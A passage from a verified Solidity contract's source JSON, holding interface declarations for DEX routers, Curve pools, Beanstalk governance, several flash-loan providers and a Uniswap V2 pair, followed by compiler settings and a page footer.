uint256 deadline\r
) external returns (uint256[] memory amounts);\r
\r
function swapExactTokensForETHSupportingFeeOnTransferTokens(\r
uint256 amountIn,\r
uint256 amountOutMin,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external;\r
\r
function swapExactTokensForTokens(\r
uint256 amountIn,\r
uint256 amountOutMin,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external returns (uint256[] memory amounts);\r
\r
function swapExactTokensForTokensSupportingFeeOnTransferTokens(\r
uint256 amountIn,\r
uint256 amountOutMin,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external;\r
\r
function swapTokensForExactETH(\r
uint256 amountOut,\r
uint256 amountInMax,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external returns (uint256[] memory amounts);\r
\r
function swapTokensForExactTokens(\r
uint256 amountOut,\r
uint256 amountInMax,\r
address[] memory path,\r
address to,\r
uint256 deadline\r
) external returns (uint256[] memory amounts);\r
\r
receive() external payable;\r
}\r
\r
interface ICurvePool {\r
function A() external view returns (uint256 out);\r
\r
function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);\r
\r
function add_liquidity(uint256[3] memory amounts, uint256 min_mint_amount) external returns (uint256);\r
\r
function add_liquidity(uint256[4] memory amounts, uint256 min_mint_amount) external returns (uint256);\r
\r
function admin_fee() external view returns (uint256 out);\r
\r
function balances(\r
uint256 arg0\r
) external view returns (uint256 out);\r
\r
function calc_token_amount(uint256[] memory amounts, bool is_deposit) external view returns (uint256 lp_tokens);\r
\r
/// @dev vyper upgrade changed this on us\r
function coins(\r
int128 arg0\r
) external view returns (address out);\r
\r
/// @dev vyper upgrade changed this on us\r
function coins(\r
uint256 arg0\r
) external view returns (address out);\r
\r
/// @dev vyper upgrade changed this on us\r
function underlying_coins(\r
int128 arg0\r
) external view returns (address out);\r
\r
/// @dev vyper upgrade changed this on us\r
function underlying_coins(\r
uint256 arg0\r
) external view returns (address out);\r
\r
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external payable;\r
\r
// newer pools have this improved version of exchange_underlying\r
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy, address receiver) external returns (uint256);\r
\r
function exchange(\r
int128 i,\r
int128 j,\r
uint256 dx,\r
uint256 min_dy,\r
bool use_eth,\r
address receiver\r
) external returns (uint256);\r
\r
function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 min_dy) external;\r
\r
function exchange_underlying(address pool, int128 i, int128 j, uint256 dx, uint256 min_dy) external;\r
\r
function fee() external view returns (uint256 out);\r
\r
function future_A() external view returns (uint256 out);\r
\r
function future_fee() external view returns (uint256 out);\r
\r
function future_admin_fee() external view returns (uint256 out);\r
\r
function get_dy(int128 i, int128 j, uint256 dx) external view returns (uint256);\r
\r
function get_dy_underlying(int128 i, int128 j, uint256 dx) external view returns (uint256);\r
\r
function get_virtual_price() external view returns (uint256 out);\r
\r
function remove_liquidity(\r
uint256 token_amount,\r
uint256[2] memory min_amounts\r
) external returns (uint256[2] memory);\r
\r
function remove_liquidity(\r
uint256 token_amount,\r
uint256[3] memory min_amounts\r
) external returns (uint256[3] memory);\r
\r
function remove_liquidity_imbalance(uint256[3] memory amounts, uint256 max_burn_amount) external;\r
\r
function remove_liquidity_one_coin(uint256 token_amount, int128 i, uint256 min_amount) external;\r
}\r
\r
interface IBeanStalk {\r
function depositBeans(\r
uint256\r
) external;\r
\r
function emergencyCommit(\r
uint32 bip\r
) external;\r
\r
function deposit(address token, uint256 amount) external;\r
\r
function vote(\r
uint32 bip\r
) external;\r
\r
function bip(\r
uint32 bipId\r
) external view returns (address, uint32, uint32, bool, int256, uint128, uint256, uint256);\r
\r
struct FacetCut {\r
address facetAddress;\r
uint8 action;\r
bytes4[] functionSelectors;\r
}\r
\r
function propose(\r
FacetCut[] calldata _diamondCut,\r
address _init,\r
bytes calldata _calldata,\r
uint8 _pauseOrUnpause\r
) external;\r
\r
function numberOfBips() external view returns (uint32);\r
}\r
\r
interface IMorphoBuleFlashLoan {\r
function flashLoan(address token, uint256 assets, bytes calldata data) external;\r
}\r
\r
interface IUniswapV3Flash {\r
function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;\r
}\r
\r
\r
interface IMakerDaoFlash {\r
function flashLoan(\r
address receiver,\r
address token,\r
uint256 amount,\r
bytes calldata data\r
) external returns (bool);\r
}\r
interface IgetTargetAddress {\r
function targetAdress()external view returns (address);\r
function SetTargetAdress(address _target)external ;\r
}\r
interface IDODO {\r
function flashLoan(uint256 baseAmount, uint256 quoteAmount, address _assetTo, bytes calldata data) external;\r
}\r
interface Uni_Pair_V2 {\r
event Approval(address indexed owner, address indexed spender, uint256 value);\r
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);\r
event Mint(address indexed sender, uint256 amount0, uint256 amount1);\r
event Swap(\r
address indexed sender,\r
uint256 amount0In,\r
uint256 amount1In,\r
uint256 amount0Out,\r
uint256 amount1Out,\r
address indexed to\r
);\r
event Sync(uint112 reserve0, uint112 reserve1);\r
event Transfer(address indexed from, address indexed to, uint256 value);\r
\r
function DOMAIN_SEPARATOR() external view returns (bytes32);\r
\r
function MINIMUM_LIQUIDITY() external view returns (uint256);\r
\r
function PERMIT_TYPEHASH() external view returns (bytes32);\r
\r
function allowance(address, address) external view returns (uint256);\r
\r
function approve(address spender, uint256 value) external returns (bool);\r
\r
function balanceOf(\r
address\r
) external view returns (uint256);\r
\r
function burn(\r
address to\r
) external returns (uint256 amount0, uint256 amount1);\r
\r
function decimals() external view returns (uint8);\r
\r
function factory() external view returns (address);\r
\r
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);\r
\r
function initialize(address _token0, address _token1) external;\r
\r
function kLast() external view returns (uint256);\r
\r
function mint(\r
address to\r
) external returns (uint256 liquidity);\r
\r
function name() external view returns (string memory);\r
\r
function nonces(\r
address\r
) external view returns (uint256);\r
\r
function permit(\r
address owner,\r
address spender,\r
uint256 value,\r
uint256 deadline,\r
uint8 v,\r
bytes32 r,\r
bytes32 s\r
) external;\r
\r
function price0CumulativeLast() external view returns (uint256);\r
\r
function price1CumulativeLast() external view returns (uint256);\r
\r
function skim(\r
address to\r
) external;\r
\r
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;\r
\r
function symbol() external view returns (string memory);\r
\r
function sync() external;\r
\r
function token0() external view returns (address);\r
\r
function token1() external view returns (address);\r
\r
function totalSupply() external view returns (uint256);\r
\r
function transfer(address to, uint256 value) external returns (bool);\r
\r
function transferFrom(address from, address to, uint256 value) external returns (bool);\r
}"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-10-29 10:17:39
Comments
Log in to comment.
No comments yet.